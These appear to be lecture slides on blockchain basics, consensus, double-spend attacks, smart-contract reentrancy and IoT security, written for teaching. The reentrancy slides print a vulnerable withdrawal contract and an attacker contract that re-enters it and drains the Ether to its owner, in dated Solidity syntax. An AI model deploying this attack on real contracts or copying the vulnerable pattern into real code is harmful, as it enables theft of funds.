Introduction to Blockchain and IoT Security

Yue Duan
Blockchain Basics

- Scenario 1: Alice hands Bob a token physically
  - Central bank is required
Blockchain Basics

- Scenario 2: Alice hands Bob a digital token via email
  - How to stop Alice from forging a copy of the token?
  - How to stop Alice from using the same token twice?
  - If Alice and Bob own the same token, who is the real owner?
Blockchain Basics

- Scenario 3: Alice hands Bob a digital token via a trusted third-party
  - Can we trust Dave?
    - He may change the ledger
    - He may make mistakes
Blockchain Basics

- Scenario 4: Alice hands Bob a digital token using a decentralized ledger
  - Every participant has a copy of ledger
  - Only add a transaction to the ledger when majority of participants agree
  - Ledger syncs among all participants
Blockchain Basics

Blockchain:
- Participants => accounts
- Ledger => Chain of blocks
Blockchain Basics

- A peer-2-peer network
  - Decentralized system
  - No central node or central government
  - Two ways of viewing blockchain
    - A ledger with transactions
    - A sequence of state changes
Blockchain Basics

- A ledger with transactions
  - Transactions are stored in blocks
  - Blocks are chained sequentially
  - Each block contains hash of current block and previous block
Blockchain Basics

- A sequence of state changes
  - At any given time $i$, there is a state $s$
  - Blockchain is nothing but a sequence of these state changes chained together

State 1
Alice: $10
Bob: $0
Dave: $20

State 2
Alice: $5
Bob: $5
Dave: $20

State 3
Alice: $5
Bob: $0
Dave: $25

State 4
Alice: $20
Bob: $0
Dave: $10
Blockchain Basics

- Consensus mechanisms:
  - How to confirm a transaction in blockchain?
  - Two major consensus protocols
    - Proof of Work (PoW)
      - Most popular
      - Used by bitcoin, ethereum, etc
    - Proof of Stake (PoS)
      - Very promising
Blockchain Basics

- **Proof of Work (PoW)**
  - Miners solve puzzles to mine blocks (a sequence of transactions)
    - Hard to find a solution
    - Easy to verify the correctness of a solution
  - When a miner finds a solution
    - The new block is broadcast to the network for verification
    - Append the block to the blockchain
  - Limitations:
    - HUGE power consumption
    - 51% attacks
Blockchain Basics

- **Proof of Stake (PoS)**
  - Like shareholders of a company
  - Participants must have a stake
    - Stake: usually by owning some cryptocurrencies
    - To have a chance of selecting, verifying and validating transactions
  - Factors of having the chance
    - the amount of stake
    - the duration of the stake
  - No mining involved
  - No need for the entire network to be involved in validation process

Person who holds the most coins wants to secure the chain the most
Smart Contract Basics

- Scenario 1: buyer buys a house
  - Traditional contract
  - Third-party involved
Smart Contract Basics

- Scenario 2: buyer buys a house via Ethereum
  - Write code to implement the contract
  - Code is stored in Ethereum blockchain
  - Logic is immutable
Smart Contract Basics

- **Smart contract**
  - A program that is running on top of blockchain
  - Code logic is automatically enforced by blockchain
  - No party can ever change the code once it is put in the blockchain

```solidity
/// Give your vote (including votes delegated to you)
/// to proposal `proposals[proposal].name`.
function vote(uint proposal) public {
    Voter storage sender = voters[msg.sender];
    require(!sender.voted, "Already voted.");
    sender.voted = true;
    sender.vote = proposal;

    // If 'proposal' is out of the range of the array,
    // this will throw automatically and revert all
    // changes.
    proposals[proposal].voteCount += sender.weight;
}

/// @dev Computes the winning proposal taking all
/// previous votes into account.
function winningProposal() public view
    returns (uint winningProposal_)
{
    uint winningVoteCount = 0;
    for (uint p = 0; p < proposals.length; p++) {
        if (proposals[p].voteCount > winningVoteCount) {
            winningVoteCount = proposals[p].voteCount;
            winningProposal_ = p;
        }
    }
}
```
Blockchain Security issues

- Double-spending attack
  - a.k.a, 51% attack
  - Not as impractical as many people would expect
  - Caused by deep chain reorganization

“If a majority of CPU power is controlled by honest nodes, the honest chain will grow the fastest and outpace any competing chains.”

--- bitcoin white paper
Double Spend Attack Overview

- When a miner finds a solution, it is supposed to be broadcasted to all other miners.
- However, a malicious miner can create an offspring of the blockchain by not broadcasting the solutions of his blocks to the rest of the network.

Source: [https://medium.com/coinmonks/what-is-a-51-attack-or-double-spend-attack-aa109db63474](https://medium.com/coinmonks/what-is-a-51-attack-or-double-spend-attack-aa109db63474)
Double Spend Attack Overview

- The malicious miner then spends cryptocurrency on public chain.
- This transaction, however, is not shown in his private chain.
Double Spend Attack Overview

- The malicious miner now tries to add more blocks in his private chain than the public chain.
Double Spend Attack Overview

- Eventually, malicious miner broadcasts his longer version of the chain, rendering his previous transaction reversed.

The corrupt miner broadcasts its chain to the rest of the network once it is longer (heavier) than the original chain.
Smart contract security issue - reentrancy attack

```solidity
contract A {
    function f() { b.withdraw(100); }
    function () public payable {
    }
}

contract B {
    function withdraw(uint amount) public {
        msg.sender.send.value(amount);  
    }
}
```

A.f() → CALL → B.withdraw() → CALL → A() 
transfers amount Ether from B to A
Smart contract security issue - reentrancy attack

```solidity
contract BasicDAO {

    mapping (address => uint) public balances;

    // transfer the entire balance of the caller of this function
    // to the caller
    function withdrawBalance() public {
        bool result = msg.sender.call.value(balances[msg.sender])();
        if (!result) {
            throw;
        }

        // update balance of the withdrawer.
        balances[msg.sender] = 0;
    }
}

contract Proxy {

    // Owner’s address //
    address public owner;

    // Constructs the contract and stores the owner. //
    constructor() public {
        owner = msg.sender;
    }

    // Initiates the balance withdrawal. //
    function callWithdrawBalance(address _address) public {
        BasicDAO(_address).withdrawBalance();
    }

    // Fallback function for this contract.
    // If the balance of this contract is less than 999999 Ether,
    // triggers another withdrawal from the DAO.
    function () public payable {
        if (address(this).balance < 999999 ether) {
            callWithdrawBalance(msg.sender);
        }
    }

    // Allows the owner to get Ether from this contract. //
    function drain() public {
        owner.transfer(address(this).balance);
    }
}
```
Smart contract security issue - reentrancy attack
IoT Security

- Internet of Things
  - Everything can be connected
    - Smart router
    - Smart TV
    - Self-driving car
    - Industrial control system
    - Medical devices
  - They all have security issues
  - Consequences can be severe
IoT Security

IoT Smartwatch Exposes Kids’ Personal, GPS Data
Fiat Chrysler recalls 1.4 million cars after Jeep hack

Fiat Chrysler has issued a safety recall affecting 1.4m vehicles in the US, after security researchers showed that one of its cars could be hacked.

On Tuesday, tech magazine Wired reported that hackers had taken control of a Jeep Cherokee via its internet-connected entertainment system.
IoT Security

- Fundamentally, still binary or bytecode analysis
- Biggest challenge:
  - IoT devices usually follow a distributed design principle
Summary

- Blockchain Basics
  - Concepts of blockchain
  - Smart contract

- Blockchain security
  - Attacks on blockchain
  - Attacks on smart contract

- IoT security
  - Sample attacks
  - Differentiation with traditional binary or bytecode analysis
Thank you!

Question?